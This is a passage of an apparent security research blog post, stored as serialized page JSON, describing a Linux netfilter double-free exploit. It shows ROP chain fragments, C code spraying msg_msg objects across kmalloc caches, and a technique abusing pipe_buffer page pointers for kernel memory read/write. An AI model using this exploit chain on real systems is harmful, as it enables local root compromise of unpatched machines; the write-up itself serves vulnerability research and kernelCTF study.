rop\n",{"type":24,"tag":271,"props":6865,"children":6866},{"class":273,"line":384},[6867,6871,6875,6879,6883,6887,6891,6895,6900,6904],{"type":24,"tag":271,"props":6868,"children":6869},{"style":630},[6870],{"type":29,"value":5819},{"type":24,"tag":271,"props":6872,"children":6873},{"style":288},[6874],{"type":29,"value":6336},{"type":24,"tag":271,"props":6876,"children":6877},{"style":624},[6878],{"type":29,"value":834},{"type":24,"tag":271,"props":6880,"children":6881},{"style":288},[6882],{"type":29,"value":4530},{"type":24,"tag":271,"props":6884,"children":6885},{"style":624},[6886],{"type":29,"value":762},{"type":24,"tag":271,"props":6888,"children":6889},{"style":288},[6890],{"type":29,"value":5840},{"type":24,"tag":271,"props":6892,"children":6893},{"style":624},[6894],{"type":29,"value":1012},{"type":24,"tag":271,"props":6896,"children":6897},{"style":477},[6898],{"type":29,"value":6899}," 0xffffffff81caed31",{"type":24,"tag":271,"props":6901,"children":6902},{"style":288},[6903],{"type":29,"value":2092},{"type":24,"tag":271,"props":6905,"children":6906},{"style":2058},[6907],{"type":29,"value":6908}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":24,"tag":271,"props":6910,"children":6911},{"class":273,"line":393},[6912],{"type":24,"tag":271,"props":6913,"children":6914},{"emptyLinePlaceholder":16},[6915],{"type":29,"value":327},{"type":24,"tag":271,"props":6917,"children":6918},{"class":273,"line":402},[6919],{"type":24,"tag":271,"props":6920,"children":6921},{"style":2058},[6922],{"type":29,"value":6923}," // switch_task_namespaces(task, &init_nsproxy);\n",{"type":24,"tag":271,"props":6925,"children":6926},{"class":273,"line":411},[6927,6931,6935,6939,6943,6947,6951,6955,6959,6963],{"type":24,"tag":271,"props":6928,"children":6929},{"style":630},[6930],{"type":29,"value":5819},{"type":24,"tag":271,"props":6932,"children":6933},{"style":288},[6934],{"type":29,"value":6336},{"type":24,"tag":271,"props":6936,"children":6937},{"style":624},[6938],{"type":29,"value":834},{"type":24,"tag":271,"props":6940,"children":6941},{"style":288},[6942],{"type":29,"value":4530},{"type":24,"tag":271,"props":6944,"children":6945},{"style":624},[6946],{"type":29,"value":762},{"type":24,"tag":271,"props":6948,"children":6949},{"style":288},[6950],{"type":29,"value":5840},{"type":24,"tag":271,"props":6952,"children":6953},{"style":624},[6954],{"type":29,"value":1012},{"type":24,"tag":271,"props":6956,"children":6957},{"style":477},[6958],{"type":29,"value":6799},{"type":24,"tag":271,"props":6960,"children":6961},{"style":288},[6962],{"type":29,"value":2092},{"type":24,"tag":271,"props":6964,"children":6965},{"style":2058},[6966],{"type":29,"value":6808},{"type":24,"tag":271,"props":6968,"children":6969},{"class":273,"line":420},[6970,6974,6978,6982,6986,6990,6994,6998],{"type":24,"tag":271,"props":6971,"children":6972},{"style":630},[6973],{"type":29,"value":5819},{"type":24,"tag":271,"props":6975,"children":6976},{"style":288},[6977],{"type":29,"value":6336},{"type":24,"tag":271,"props":6979,"children":6980},{"style":624},[6981],{"type":29,"value":834},{"type":24,"tag":271,"props":6983,"children":6984},{"style":288},[6985],{"type":29,"value":4530},{"type":24,"tag":271,"props":6987,"children":6988},{"style":624},[6989],{"type":29,"value":762},{"type":24,"tag":271,"props":6991,"children":6992},{"style":288},[6993],{"type":29,"value":5840},{"type":24,"tag":271,"props":6995,"children":6996},{"style":624},[6997],{"type":29,"value":1012},{"type":24,"tag":271,"props":6999,"children":7000},{"style":288},[7001],{"type":29,"value":7002}," INIT_NSPROXY;\n",{"type":24,"tag":271,"props":7004,"children":7005},{"class":273,"line":429},[7006,7010,7014,7018,7022,7026,7030,7034],{"type":24,"tag":271,"props":7007,"children":7008},{"style":630},[7009],{"type":29,"value":5819},{"type":24,"tag":271,"props":7011,"children":7012},{"style":288},[7013],{"type":29,"value":6336},{"type":24,"tag":271,"props":7015,"children":7016},{"style":624},[7017],{"type":29,"value":834},{"type":24,"tag":271,"props":7019,"children":7020},{"style":288},[7021],{"type":29,"value":4530},{"type":24,"tag":271,"props":7023,"children":7024},{"style":624},[7025],{"type":29,"value":762},{"type":24,"tag":271,"props":7027,"children":7028},{"style":288},[7029],{"type":29,"value":5840},{"type":24,"tag":271,"props":7031,"children":7032},{"style":624},[7033],{"type":29,"value":1012},{"type":24,"tag":271,"props":7035,"children":7036},{"style":288},[7037],{"type":29,"value":7038}," SWITCH_TASK_NAMESPACES;\n",{"type":24,"tag":271,"props":7040,"children":7041},{"class":273,"line":438},[7042],{"type":24,"tag":271,"props":7043,"children":7044},{"style":288},[7045],{"type":29,"value":1690},{"type":24,"tag":85,"props":7047,"children":7049},{"id":7048},"grabbing-the-kernelctf-flag",[7050],{"type":29,"value":7051},"Grabbing the kernelCTF flag",{"type":24,"tag":25,"props":7053,"children":7054},{},[7055,7059,7061,7068],{"type":24,"tag":74,"props":7056,"children":7058},{"alt":76,"src":7057},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":29,"value":7060},"\nYou can find the kernelCTF exploit in our ",{"type":24,"tag":32,"props":7062,"children":7065},{"href":7063,"rel":7064},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[36],[7066],{"type":29,"value":7067},"GitHub",{"type":29,"value":41},{"type":24,"tag":62,"props":7070,"children":7072},{"id":7071},"universal-exploit",[7073],{"type":29,"value":7074},"Universal exploit",{"type":24,"tag":25,"props":7076,"children":7077},{},[7078],{"type":29,"value":7079},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":24,"tag":85,"props":7081,"children":7083},{"id":7082},"pivot-capability-using-msg_msg-mlistnext-pointer",[7084],{"type":29,"value":7085},"Pivot capability using msg_msg->mlist.next pointer",{"type":24,"tag":25,"props":7087,"children":7088},{},[7089,7091,7097,7099,7104,7106,7112],{"type":29,"value":7090},"Using the double-free vulnerability we can overlap a ",{"type":24,"tag":135,"props":7092,"children":7094},{"className":7093},[],[7095],{"type":29,"value":7096},"msg_msg",{"type":29,"value":7098}," object with with ",{"type":24,"tag":135,"props":7100,"children":7102},{"className":7101},[],[7103],{"type":29,"value":4738},{"type":29,"value":7105}," and control the ",{"type":24,"tag":135,"props":7107,"children":7109},{"className":7108},[],[7110],{"type":29,"value":7111},"m_list.next",{"type":29,"value":7113}," pointer.",{"type":24,"tag":261,"props":7115,"children":7117},{"className":3859,"code":7116,"language":3861,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts; /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[7118],{"type":24,"tag":135,"props":7119,"children":7120},{"__ignoreMap":7},[7121,7129,7146,7167,7180,7198,7223,7239,7247,7254,7261,7269,7301],{"type":24,"tag":271,"props":7122,"children":7123},{"class":273,"line":274},[7124],{"type":24,"tag":271,"props":7125,"children":7126},{"style":2058},[7127],{"type":29,"value":7128},"/* one msg_msg structure for each message */\n",{"type":24,"tag":271,"props":7130,"children":7131},{"class":273,"line":284},[7132,7136,7141],{"type":24,"tag":271,"props":7133,"children":7134},{"style":278},[7135],{"type":29,"value":1772},{"type":24,"tag":271,"props":7137,"children":7138},{"style":3887},[7139],{"type":29,"value":7140}," msg_msg",{"type":24,"tag":271,"props":7142,"children":7143},{"style":288},[7144],{"type":29,"value":7145}," {\n",{"type":24,"tag":271,"props":7147,"children":7148},{"class":273,"line":294},[7149,7153,7158,7163],{"type":24,"tag":271,"props":7150,"children":7151},{"style":278},[7152],{"type":29,"value":616},{"type":24,"tag":271,"props":7154,"children":7155},{"style":3887},[7156],{"type":29,"value":7157}," list_head",{"type":24,"tag":271,"props":7159,"children":7160},{"style":630},[7161],{"type":29,"value":7162}," m_list",{"type":24,"tag":271,"props":7164,"children":7165},{"style":288},[7166],{"type":29,"value":1069},{"type":24,"tag":271,"props":7168,"children":7169},{"class":273,"line":303},[7170,7175],{"type":24,"tag":271,"props":7171,"children":7172},{"style":278},[7173],{"type":29,"value":7174}," long",{"type":24,"tag":271,"props":7176,"children":7177},{"style":288},[7178],{"type":29,"value":7179}," m_type;\n",{"type":24,"tag":271,"props":7181,"children":7182},{"class":273,"line":312},[7183,7188,7193],{"type":24,"tag":271,"props":7184,"children":7185},{"style":278},[7186],{"type":29,"value":7187}," size_t",{"type":24,"tag":271,"props":7189,"children":7190},{"style":288},[7191],{"type":29,"value":7192}," m_ts;",{"type":24,"tag":271,"props":7194,"children":7195},{"style":2058},[7196],{"type":29,"value":7197}," /* message text size */\n",{"type":24,"tag":271,"props":7199,"children":7200},{"class":273,"line":321},[7201,7205,7210,7214,7219],{"type":24,"tag":271,"props":7202,"children":7203},{"style":278},[7204],{"type":29,"value":616},{"type":24,"tag":271,"props":7206,"children":7207},{"style":3887},[7208],{"type":29,"value":7209}," msg_msgseg",{"type":24,"tag":271,"props":7211,"children":7212},{"style":278},[7213],{"type":29,"value":3895},{"type":24,"tag":271,"props":7215,"children":7216},{"style":630},[7217],{"type":29,"value":7218},"next",{"type":24,"tag":271,"props":7220,"children":7221},{"style":288},[7222],{"type":29,"value":1069},{"type":24,"tag":271,"props":7224,"children":7225},{"class":273,"line":330},[7226,7230,7234],{"type":24,"tag":271,"props":7227,"children":7228},{"style":278},[7229],{"type":29,"value":595},{"type":24,"tag":271,"props":7231,"children":7232},{"style":624},[7233],{"type":29,"value":3895},{"type":24,"tag":271,"props":7235,"children":7236},{"style":288},[7237],{"type":29,"value":7238},"security;\n",{"type":24,"tag":271,"props":7240,"children":7241},{"class":273,"line":339},[7242],{"type":24,"tag":271,"props":7243,"children":7244},{"style":2058},[7245],{"type":29,"value":7246}," /* the actual message follows immediately */\n",{"type":24,"tag":271,"props":7248,"children":7249},{"class":273,"line":347},[7250],{"type":24,"tag":271,"props":7251,"children":7252},{"style":288},[7253],{"type":29,"value":4006},{"type":24,"tag":271,"props":7255,"children":7256},{"class":273,"line":356},[7257],{"type":24,"tag":271,"props":7258,"children":7259},{"style":288},[7260],{"type":29,"value":1690},{"type":24,"tag":271,"props":7262,"children":7263},{"class":273,"line":365},[7264],{"type":24,"tag":271,"props":7265,"children":7266},{"style":288},[7267],{"type":29,"value":7268},"struct list_head {\n",{"type":24,"tag":271,"props":7270,"children":7271},{"class":273,"line":374},[7272,7276,7280,7284,7288,7292,7296],{"type":24,"tag":271,"props":7273,"children":7274},{"style":278},[7275],{"type":29,"value":616},{"type":24,"tag":271,"props":7277,"children":7278},{"style":3887},[7279],{"type":29,"value":7157},{"type":24,"tag":271,"props":7281,"children":7282},{"style":278},[7283],{"type":29,"value":3895},{"type":24,"tag":271,"props":7285,"children":7286},{"style":630},[7287],{"type":29,"value":7218},{"type":24,"tag":271,"props":7289,"children":7290},{"style":288},[7291],{"type":29,"value":158},{"type":24,"tag":271,"props":7293,"children":7294},{"style":624},[7295],{"type":29,"value":627},{"type":24,"tag":271,"props":7297,"children":7298},{"style":288},[7299],{"type":29,"value":7300},"prev;\n",{"type":24,"tag":271,"props":7302,"children":7303},{"class":273,"line":384},[7304],{"type":24,"tag":271,"props":7305,"children":7306},{"style":288},[7307],{"type":29,"value":4006},{"type":24,"tag":25,"props":7309,"children":7310},{},[7311,7313,7319,7321,7326],{"type":29,"value":7312},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":24,"tag":135,"props":7314,"children":7316},{"className":7315},[],[7317],{"type":29,"value":7318},"mlist.next",{"type":29,"value":7320}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":24,"tag":135,"props":7322,"children":7324},{"className":7323},[],[7325],{"type":29,"value":7096},{"type":29,"value":7327}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":24,"tag":25,"props":7329,"children":7330},{},[7331,7333,7338,7340],{"type":29,"value":7332},"By incrementing the next pointer of our controllable ",{"type":24,"tag":135,"props":7334,"children":7336},{"className":7335},[],[7337],{"type":29,"value":7096},{"type":29,"value":7339}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":24,"tag":74,"props":7341,"children":7343},{"alt":76,"src":7342},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":24,"tag":261,"props":7345,"children":7347},{"className":3859,"code":7346,"language":3861,"meta":7,"style":7},"[...]\n // Spray msg_msg in kmalloc-256 and kmalloc-1k\n msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n int qid[SPRAY];\n for (int i = 0; i \u003C SPRAY; i++)\n {\n qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (qid[i] \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n *(uint32_t *)msg->mtext = i;\n *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n msg->mtype = MTYPE_PRIMARY;\n msgsnd(qid[i], msg, 0xe8 - 48, 0);\n msg->mtype = MTYPE_SECONDARY;\n msgsnd(qid[i], msg, 1024 - 48, 0);\n }\n // Prepare evil msg\n int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (evilqid \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n[...] // trigger double-free in kmalloc-256\n",[7348],{"type":24,"tag":135,"props":7349,"children":7350},{"__ignoreMap":7},[7351,7358,7366,7392,7409,7457,7464,7505,7538,7546,7567,7575,7623,7688,7714,7760,7784,7828,7835,7843,7879,7903,7910,7930,7937],{"type":24,"tag":271,"props":7352,"children":7353},{"class":273,"line":274},[7354],{"type":24,"tag":271,"props":7355,"children":7356},{"style":288},[7357],{"type":29,"value":1690},{"type":24,"tag":271,"props":7359,"children":7360},{"class":273,"line":284},[7361],{"type":24,"tag":271,"props":7362,"children":7363},{"style":288},[7364],{"type":29,"value":7365}," // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":24,"tag":271,"props":7367,"children":7368},{"class":273,"line":294},[7369,7374,7378,7382,7387],{"type":24,"tag":271,"props":7370,"children":7371},{"style":288},[7372],{"type":29,"value":7373}," msg_t *msg = calloc(1, ",{"type":24,"tag":271,"props":7375,"children":7376},{"style":3887},[7377],{"type":29,"value":4969},{"type":24,"tag":271,"props":7379,"children":7380},{"style":288},[7381],{"type":29,"value":606},{"type":24,"tag":271,"props":7383,"children":7384},{"style":3887},[7385],{"type":29,"value":7386},"msg_t",{"type":24,"tag":271,"props":7388,"children":7389},{"style":288},[7390],{"type":29,"value":7391},") + 0xe8 - 48);\n",{"type":24,"tag":271,"props":7393,"children":7394},{"class":273,"line":303},[7395,7399,7404],{"type":24,"tag":271,"props":7396,"children":7397},{"style":278},[7398],{"type":29,"value":6300},{"type":24,"tag":271,"props":7400,"children":7401},{"style":630},[7402],{"type":29,"value":7403}," qid",{"type":24,"tag":271,"props":7405,"children":7406},{"style":288},[7407],{"type":29,"value":7408},"[SPRAY];\n",{"type":24,"tag":271,"props":7410,"children":7411},{"class":273,"line":312},[7412,7416,7420,7424,7428,7432,7436,7440,7444,7449,7453],{"type":24,"tag":271,"props":7413,"children":7414},{"style":749},[7415],{"type":29,"value":4149},{"type":24,"tag":271,"props":7417,"children":7418},{"style":288},[7419],{"type":29,"value":1357},{"type":24,"tag":271,"props":7421,"children":7422},{"style":278},[7423],{"type":29,"value":3923},{"type":24,"tag":271,"props":7425,"children":7426},{"style":288},[7427],{"type":29,"value":4162},{"type":24,"tag":271,"props":7429,"children":7430},{"style":624},[7431],{"type":29,"value":762},{"type":24,"tag":271,"props":7433,"children":7434},{"style":477},[7435],{"type":29,"value":767},{"type":24,"tag":271,"props":7437,"children":7438},{"style":288},[7439],{"type":29,"value":796},{"type":24,"tag":271,"props":7441,"children":7442},{"style":624},[7443],{"type":29,"value":801},{"type":24,"tag":271,"props":7445,"children":7446},{"style":288},[7447],{"type":29,"value":7448}," SPRAY; i",{"type":24,"tag":271,"props":7450,"children":7451},{"style":624},[7452],{"type":29,"value":834},{"type":24,"tag":271,"props":7454,"children":7455},{"style":288},[7456],{"type":29,"value":694},{"type":24,"tag":271,"props":7458,"children":7459},{"class":273,"line":321},[7460],{"type":24,"tag":271,"props":7461,"children":7462},{"style":288},[7463],{"type":29,"value":4203},{"type":24,"tag":271,"props":7465,"children":7466},{"class":273,"line":330},[7467,7472,7476,7480,7485,7490,7495,7500],{"type":24,"tag":271,"props":7468,"children":7469},{"style":630},[7470],{"type":29,"value":7471}," qid",{"type":24,"tag":271,"props":7473,"children":7474},{"style":288},[7475],{"type":29,"value":4216},{"type":24,"tag":271,"props":7477,"children":7478},{"style":624},[7479],{"type":29,"value":762},{"type":24,"tag":271,"props":7481,"children":7482},{"style":598},[7483],{"type":29,"value":7484}," msgget",{"type":24,"tag":271,"props":7486,"children":7487},{"style":288},[7488],{"type":29,"value":7489},"(IPC_PRIVATE, ",{"type":24,"tag":271,"props":7491,"children":7492},{"style":477},[7493],{"type":29,"value":7494},"0666",{"type":24,"tag":271,"props":7496,"children":7497},{"style":624},[7498],{"type":29,"value":7499}," |",{"type":24,"tag":271,"props":7501,"children":7502},{"style":288},[7503],{"type":29,"value":7504}," IPC_CREAT);\n",{"type":24,"tag":271,"props":7506,"children":7507},{"class":273,"line":339},[7508,7513,7517,7522,7526,7530,7534],{"type":24,"tag":271,"props":7509,"children":7510},{"style":749},[7511],{"type":29,"value":7512}," if",{"type":24,"tag":271,"props":7514,"children":7515},{"style":288},[7516],{"type":29,"value":1357},{"type":24,"tag":271,"props":7518,"children":7519},{"style":630},[7520],{"type":29,"value":7521},"qid",{"type":24,"tag":271,"props":7523,"children":7524},{"style":288},[7525],{"type":29,"value":4216},{"type":24,"tag":271,"props":7527,"children":7528},{"style":624},[7529],{"type":29,"value":801},{"type":24,"tag":271,"props":7531,"children":7532},{"style":477},[7533],{"type":29,"value":767},{"type":24,"tag":271,"props":7535,"children":7536},{"style":288},[7537],{"type":29,"value":694},{"type":24,"tag":271,"props":7539,"children":7540},{"class":273,"line":347},[7541],{"type":24,"tag":271,"props":7542,"children":7543},{"style":288},[7544],{"type":29,"value":7545}," {\n",{"type":24,"tag":271,"props":7547,"children":7548},{"class":273,"line":356},[7549,7554,7558,7563],{"type":24,"tag":271,"props":7550,"children":7551},{"style":598},[7552],{"type":29,"value":7553}," perror",{"type":24,"tag":271,"props":7555,"children":7556},{"style":288},[7557],{"type":29,"value":606},{"type":24,"tag":271,"props":7559,"children":7560},{"style":378},[7561],{"type":29,"value":7562},"\"[-] msgget\"",{"type":24,"tag":271,"props":7564,"children":7565},{"style":288},[7566],{"type":29,"value":1155},{"type":24,"tag":271,"props":7568,"children":7569},{"class":273,"line":365},[7570],{"type":24,"tag":271,"props":7571,"children":7572},{"style":288},[7573],{"type":29,"value":7574}," }\n",{"type":24,"tag":271,"props":7576,"children":7577},{"class":273,"line":374},[7578,7583,7587,7592,7596,7600,7605,7609,7614,7618],{"type":24,"tag":271,"props":7579,"children":7580},{"style":624},[7581],{"type":29,"value":7582}," *",{"type":24,"tag":271,"props":7584,"children":7585},{"style":288},[7586],{"type":29,"value":606},{"type":24,"tag":271,"props":7588,"children":7589},{"style":278},[7590],{"type":29,"value":7591},"uint32_t",{"type":24,"tag":271,"props":7593,"children":7594},{"style":624},[7595],{"type":29,"value":3895},{"type":24,"tag":271,"props":7597,"children":7598},{"style":288},[7599],{"type":29,"value":2693},{"type":24,"tag":271,"props":7601,"children":7602},{"style":630},[7603],{"type":29,"value":7604},"msg",{"type":24,"tag":271,"props":7606,"children":7607},{"style":288},[7608],{"type":29,"value":786},{"type":24,"tag":271,"props":7610,"children":7611},{"style":630},[7612],{"type":29,"value":7613},"mtext",{"type":24,"tag":271,"props":7615,"children":7616},{"style":624},[7617],{"type":29,"value":1712},{"type":24,"tag":271,"props":7619,"children":7620},{"style":288},[7621],{"type":29,"value":7622}," i;\n",{"type":24,"tag":271,"props":7624,"children":7625},{"class":273,"line":384},[7626,7630,7634,7638,7642,7646,7650,7654,7658,7662,7666,7671,7675,7679,7684],{"type":24,"tag":271,"props":7627,"children":7628},{"style":624},[7629],{"type":29,"value":7582},{"type":24,"tag":271,"props":7631,"children":7632},{"style":288},[7633],{"type":29,"value":606},{"type":24,"tag":271,"props":7635,"children":7636},{"style":278},[7637],{"type":29,"value":5279},{"type":24,"tag":271,"props":7639,"children":7640},{"style":624},[7641],{"type":29,"value":3895},{"type":24,"tag":271,"props":7643,"children":7644},{"style":288},[7645],{"type":29,"value":2693},{"type":24,"tag":271,"props":7647,"children":7648},{"style":624},[7649],{"type":29,"value":1137},{"type":24,"tag":271,"props":7651,"children":7652},{"style":630},[7653],{"type":29,"value":7604},{"type":24,"tag":271,"props":7655,"children":7656},{"style":288},[7657],{"type":29,"value":786},{"type":24,"tag":271,"props":7659,"children":7660},{"style":630},[7661],{"type":29,"value":7613},{"type":24,"tag":271,"props":7663,"children":7664},{"style":288},[7665],{"type":29,"value":4520},{"type":24,"tag":271,"props":7667,"children":7668},{"style":477},[7669],{"type":29,"value":7670},"8",{"type":24,"tag":271,"props":7672,"children":7673},{"style":288},[7674],{"type":29,"value":4530},{"type":24,"tag":271,"props":7676,"children":7677},{"style":624},[7678],{"type":29,"value":762},{"type":24,"tag":271,"props":7680,"children":7681},{"style":477},[7682],{"type":29,"value":7683}," 0xdeadbeefcafebabe",{"type":24,"tag":271,"props":7685,"children":7686},{"style":288},[7687],{"type":29,"value":1069},{"type":24,"tag":271,"props":7689,"children":7690},{"class":273,"line":393},[7691,7696,7700,7705,7709],{"type":24,"tag":271,"props":7692,"children":7693},{"style":630},[7694],{"type":29,"value":7695}," msg",{"type":24,"tag":271,"props":7697,"children":7698},{"style":288},[7699],{"type":29,"value":786},{"type":24,"tag":271,"props":7701,"children":7702},{"style":630},[7703],{"type":29,"value":7704},"mtype",{"type":24,"tag":271,"props":7706,"children":7707},{"style":624},[7708],{"type":29,"value":1712},{"type":24,"tag":271,"props":7710,"children":7711},{"style":288},[7712],{"type":29,"value":7713}," MTYPE_PRIMARY;\n",{"type":24,"tag":271,"props":7715,"children":7716},{"class":273,"line":402},[7717,7722,7726,7730,7735,7739,7743,7748,7752,7756],{"type":24,"tag":271,"props":7718,"children":7719},{"style":598},[7720],{"type":29,"value":7721}," msgsnd",{"type":24,"tag":271,"props":7723,"children":7724},{"style":288},[7725],{"type":29,"value":606},{"type":24,"tag":271,"props":7727,"children":7728},{"style":630},[7729],{"type":29,"value":7521},{"type":24,"tag":271,"props":7731,"children":7732},{"style":288},[7733],{"type":29,"value":7734},"[i], msg, ",{"type":24,"tag":271,"props":7736,"children":7737},{"style":477},[7738],{"type":29,"value":5616},{"type":24,"tag":271,"props":7740,"children":7741},{"style":624},[7742],{"type":29,"value":819},{"type":24,"tag":271,"props":7744,"children":7745},{"style":477},[7746],{"type":29,"value":7747}," 48",{"type":24,"tag":271,"props":7749,"children":7750},{"style":288},[7751],{"type":29,"value":158},{"type":24,"tag":271,"props":7753,"children":7754},{"style":477},[7755],{"type":29,"value":4121},{"type":24,"tag":271,"props":7757,"children":7758},{"style":288},[7759],{"type":29,"value":1155},{"type":24,"tag":271,"props":7761,"children":7762},{"class":273,"line":411},[7763,7767,7771,7775,7779],{"type":24,"tag":271,"props":7764,"children":7765},{"style":630},[7766],{"type":29,"value":7695},{"type":24,"tag":271,"props":7768,"children":7769},{"style":288},[7770],{"type":29,"value":786},{"type":24,"tag":271,"props":7772,"children":7773},{"style":630},[7774],{"type":29,"value":7704},{"type":24,"tag":271,"props":7776,"children":7777},{"style":624},[7778],{"type":29,"value":1712},{"type":24,"tag":271,"props":7780,"children":7781},{"style":288},[7782],{"type":29,"value":7783}," MTYPE_SECONDARY;\n",{"type":24,"tag":271,"props":7785,"children":7786},{"class":273,"line":420},[7787,7791,7795,7799,7803,7808,7812,7816,7820,7824],{"type":24,"tag":271,"props":7788,"children":7789},{"style":598},[7790],{"type":29,"value":7721},{"type":24,"tag":271,"props":7792,"children":7793},{"style":288},[7794],{"type":29,"value":606},{"type":24,"tag":271,"props":7796,"children":7797},{"style":630},[7798],{"type":29,"value":7521},{"type":24,"tag":271,"props":7800,"children":7801},{"style":288},[7802],{"type":29,"value":7734},{"type":24,"tag":271,"props":7804,"children":7805},{"style":477},[7806],{"type":29,"value":7807},"1024",{"type":24,"tag":271,"props":7809,"children":7810},{"style":624},[7811],{"type":29,"value":819},{"type":24,"tag":271,"props":7813,"children":7814},{"style":477},[7815],{"type":29,"value":7747},{"type":24,"tag":271,"props":7817,"children":7818},{"style":288},[7819],{"type":29,"value":158},{"type":24,"tag":271,"props":7821,"children":7822},{"style":477},[7823],{"type":29,"value":4121},{"type":24,"tag":271,"props":7825,"children":7826},{"style":288},[7827],{"type":29,"value":1155},{"type":24,"tag":271,"props":7829,"children":7830},{"class":273,"line":429},[7831],{"type":24,"tag":271,"props":7832,"children":7833},{"style":288},[7834],{"type":29,"value":4385},{"type":24,"tag":271,"props":7836,"children":7837},{"class":273,"line":438},[7838],{"type":24,"tag":271,"props":7839,"children":7840},{"style":2058},[7841],{"type":29,"value":7842}," // Prepare evil msg\n",{"type":24,"tag":271,"props":7844,"children":7845},{"class":273,"line":447},[7846,7850,7855,7859,7863,7867,7871,7875],{"type":24,"tag":271,"props":7847,"children":7848},{"style":278},[7849],{"type":29,"value":6300},{"type":24,"tag":271,"props":7851,"children":7852},{"style":288},[7853],{"type":29,"value":7854}," evilqid ",{"type":24,"tag":271,"props":7856,"children":7857},{"style":624},[7858],{"type":29,"value":762},{"type":24,"tag":271,"props":7860,"children":7861},{"style":598},[7862],{"type":29,"value":7484},{"type":24,"tag":271,"props":7864,"children":7865},{"style":288},[7866],{"type":29,"value":7489},{"type":24,"tag":271,"props":7868,"children":7869},{"style":477},[7870],{"type":29,"value":7494},{"type":24,"tag":271,"props":7872,"children":7873},{"style":624},[7874],{"type":29,"value":7499},{"type":24,"tag":271,"props":7876,"children":7877},{"style":288},[7878],{"type":29,"value":7504},{"type":24,"tag":271,"props":7880,"children":7881},{"class":273,"line":455},[7882,7886,7891,7895,7899],{"type":24,"tag":271,"props":7883,"children":7884},{"style":749},[7885],{"type":29,"value":5025},{"type":24,"tag":271,"props":7887,"children":7888},{"style":288},[7889],{"type":29,"value":7890}," (evilqid ",{"type":24,"tag":271,"props":7892,"children":7893},{"style":624},[7894],{"type":29,"value":801},{"type":24,"tag":271,"props":7896,"children":7897},{"style":477},[7898],{"type":29,"value":767},{"type":24,"tag":271,"props":7900,"children":7901},{"style":288},[7902],{"type":29,"value":694},{"type":24,"tag":271,"props":7904,"children":7905},{"class":273,"line":464},[7906],{"type":24,"tag":271,"props":7907,"children":7908},{"style":288},[7909],{"type":29,"value":4203},{"type":24,"tag":271,"props":7911,"children":7912},{"class":273,"line":473},[7913,7918,7922,7926],{"type":24,"tag":271,"props":7914,"children":7915},{"style":598},[7916],{"type":29,"value":7917}," perror",{"type":24,"tag":271,"props":7919,"children":7920},{"style":288},[7921],{"type":29,"value":606},{"type":24,"tag":271,"props":7923,"children":7924},{"style":378},[7925],{"type":29,"value":7562},{"type":24,"tag":271,"props":7927,"children":7928},{"style":288},[7929],{"type":29,"value":1155},{"type":24,"tag":271,"props":7931,"children":7932},{"class":273,"line":483},[7933],{"type":24,"tag":271,"props":7934,"children":7935},{"style":288},[7936],{"type":29,"value":4385},{"type":24,"tag":271,"props":7938,"children":7939},{"class":273,"line":491},[7940],{"type":24,"tag":271,"props":7941,"children":7942},{"style":288},[7943],{"type":29,"value":7944},"[...] // trigger double-free in kmalloc-256\n",{"type":24,"tag":85,"props":7946,"children":7948},{"id":7947},"using-pipe_buffer-page-pointer-for-physical-readwrite",[7949],{"type":29,"value":7950},"Using pipe_buffer->page pointer for physical read/write",{"type":24,"tag":25,"props":7952,"children":7953},{},[7954,7956,7962,7963,7969,7971,7977,7979,7985],{"type":29,"value":7955},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":24,"tag":135,"props":7957,"children":7959},{"className":7958},[],[7960],{"type":29,"value":7961},"kmalloc-1k",{"type":29,"value":518},{"type":24,"tag":135,"props":7964,"children":7966},{"className":7965},[],[7967],{"type":29,"value":7968},"overlap pipe_buffer",{"type":29,"value":7970}," with ",{"type":24,"tag":135,"props":7972,"children":7974},{"className":7973},[],[7975],{"type":29,"value":7976},"skbuf",{"type":29,"value":7978}," data to control the ",{"type":24,"tag":135,"props":7980,"children":7982},{"className":7981},[],[7983],{"type":29,"value":7984},"page",{"type":29,"value":7986}," field.",{"type":24,"tag":25,"props":7988,"children":7989},{},[7990,7991,7996,7998,8004,8006],{"type":29,"value":1422},{"type":24,"tag":135,"props":7992,"children":7994},{"className":7993},[],[7995],{"type":29,"value":7984},{"type":29,"value":7997}," field is a pointer into ",{"type":24,"tag":135,"props":7999,"children":8001},{"className":8000},[],[8002],{"type":29,"value":8003},"vmemmap_base",{"type":29,"value":8005},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":24,"tag":74,"props":8007,"children":8009},{"alt":76,"src":8008},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":24,"tag":25,"props":8011,"children":8012},{},[8013,8015,8020],{"type":29,"value":8014},"This now allows us to navigate the ",{"type":24,"tag":135,"props":8016,"children":8018},{"className":8017},[],[8019],{"type":29,"value":8003},{"type":29,"value":8021}," array and use our pipe as an interface to read/write kernel memory 